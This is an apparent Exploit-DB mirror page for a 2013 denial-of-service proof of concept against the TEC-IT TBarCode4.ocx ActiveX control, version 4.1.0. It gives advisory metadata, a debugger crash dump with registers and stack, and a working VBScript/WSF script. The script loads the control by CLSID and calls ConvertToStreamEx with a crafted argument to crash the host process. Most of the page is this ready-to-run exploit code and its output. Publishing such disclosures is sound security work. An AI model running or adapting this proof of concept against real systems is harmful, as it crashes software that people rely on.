TEC-IT TBarCode OCX ActiveX Control (TBarCode4.ocx 4.1.0 ) dos poc

vendor:

TBarCode OCX ActiveX Control

by:

d3b4g

7,5

CVSS

HIGH

Denial of Service (DoS)

400

CWE

Product Name: TBarCode OCX ActiveX Control

Affected Version From: 4.1.0

Affected Version To: 4.1.0

Patch Exists: Yes

Related CWE: N/A

CPE: a:tec-it:tbarcode_ocx

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2013

TEC-IT TBarCode OCX ActiveX Control (TBarCode4.ocx 4.1.0 ) dos poc

A Denial of Service (DoS) vulnerability exists in TEC-IT TBarCode OCX ActiveX Control (TBarCode4.ocx 4.1.0 ) due to an access violation caused by a comparison of a byte pointer with the value 5. The vulnerability can be triggered by a specially crafted request sent to the vulnerable application. This can result in a crash of the application.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should update to the latest version of the software.

Source

Exploit-DB raw data:

# Exploit Title: TEC-IT TBarCode OCX ActiveX Control (TBarCode4.ocx 4.1.0 ) dos poc
# Date: 29.7.2013
# Exploit Author: d3b4g
# Vendor Homepage:http://www.tec-it.com/en/start/Default.aspx
# Software Link: http://www.tec-it.com/en/start/Default.aspx
# Tested on: Windows XP SP3





Exception Code: ACCESS_VIOLATION
Disasm: 7785DFE4	CMP BYTE PTR [EAX+7],5	(ntdll.dll)

Seh Chain:
--------------------------------------------------
1 	3C5744 	TBarCode4.OCX
2 	5AFCD959 	VBSCRIPT.dll
3 	778A71D5 	ntdll.dll


Called From                   Returns To                    
--------------------------------------------------
ntdll.7785DFE4                KERNEL32.765614DD             
KERNEL32.765614DD             TBarCode4.3C0D31              
TBarCode4.3C0D31              TBarCode4.39205E              
TBarCode4.39205E              OLEAUT32.76B83E75             
OLEAUT32.76B83E75             OLEAUT32.76B83CEF             
OLEAUT32.76B83CEF             OLEAUT32.76B8052F             
OLEAUT32.76B8052F             TBarCode4.3BC65B              
TBarCode4.3BC65B              VBSCRIPT.5AF927E5             
VBSCRIPT.5AF927E5             VBSCRIPT.5AF93737             
VBSCRIPT.5AF93737             VBSCRIPT.5AF951AE             
VBSCRIPT.5AF951AE             VBSCRIPT.5AF950CA             
VBSCRIPT.5AF950CA             VBSCRIPT.5AF955A5             
VBSCRIPT.5AF955A5             VBSCRIPT.5AF95951             
VBSCRIPT.5AF95951             VBSCRIPT.5AF9417A             
VBSCRIPT.5AF9417A             SCROBJ.5ABD831F               
SCROBJ.5ABD831F               SCROBJ.5ABD99D3               
SCROBJ.5ABD99D3               SCROBJ.5ABD986E               
SCROBJ.5ABD986E               SCROBJ.5ABD980B               
SCROBJ.5ABD980B               SCROBJ.5ABD97D0               
SCROBJ.5ABD97D0               E140CD                        
E140CD                        E06B44                        
E06B44                        E033B4                        
E033B4                        E03189                        
E03189                        E030FA                        
E030FA                        E02F93                        
E02F93                        KERNEL32.765633AA             
KERNEL32.765633AA             ntdll.77869EF2                
ntdll.77869EF2                ntdll.77869EC5                


Registers:
--------------------------------------------------
EIP 7785DFE4
EAX 00000178
EBX 00000180
ECX 0038EB34 -> 0038F9B4
EDX 0045685A -> 00030000
EDI 00000000
ESI 005B0000 -> F9F249C7
EBP 0038E0D4 -> 0038E0E8
ESP 0038E0C4 -> 00000180


Block Disassembly: 
--------------------------------------------------
7785DFC8	JNZ 77863481
7785DFCE	TEST BYTE PTR [ESI+48],1
7785DFD2	JNZ 778642B3
7785DFD8	TEST BL,7
7785DFDB	JNZ 778ADFE9
7785DFE1	LEA EAX,[EBX-8]
7785DFE4	CMP BYTE PTR [EAX+7],5	  <--- CRASH
7785DFE8	JE 778ADFD2
7785DFEE	TEST BYTE PTR [EAX+7],3F
7785DFF2	JE 778ADFE0
7785DFF8	MOV [EBP-4],EAX
7785DFFB	CMP EAX,EDI
7785DFFD	JE 778AE053
7785E003	CMP BYTE PTR [EBX-1],5
7785E007	JE 778ADFFC


ArgDump:
--------------------------------------------------
EBP+8	005B0000 -> F9F249C7
EBP+12	00000000
EBP+16	00000180
EBP+20	0038E130 -> 0038E4F4
EBP+24	003C0D31 -> 64F04D8B
EBP+28	005B0000 -> F9F249C7


Stack Dump:
--------------------------------------------------
38E0C4 80 01 00 00 C0 E3 38 00 00 00 00 00 00 00 00 00  [................]
38E0D4 E8 E0 38 00 DD 14 56 76 00 00 5B 00 00 00 00 00  [......Vv..[.....]
38E0E4 80 01 00 00 30 E1 38 00 31 0D 3C 00 00 00 5B 00  [..............[.]
38E0F4 00 00 00 00 80 01 00 00 C0 E3 38 00 B8 E3 38 00  [................]
38E104 00 00 00 00 00 00 00 00 4A 3C 86 77 33 00 00 00  [........J..w....]




+-- Poc


<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:2FD4F344-D857-4853-BC2F-88D5863BDB57' id='target' />
<script language='vbscript'>
targetFile = "C:\Users\Administrator\Desktop\TBarCode4.ocx"
prototype  = "Function ConvertToStreamEx ( ByVal hDC As Long ,  ByVal eImageType As tag_ImageType ,  ByVal nQuality As Long ,  ByVal nXSize As Long ,  ByVal nYSize As Long ,  ByVal nXRes As Long ,  ByVal nYRes As Long )"
memberName = "ConvertToStreamEx"
progid     = "TBARCODE4Lib.TBarCode4"
argCount   = 7

arg1=1
arg2=1
arg3=1
arg4=1
arg5=1
arg6=1
arg7=-2147483647

target.ConvertToStreamEx arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7 

</script></job></package>




-end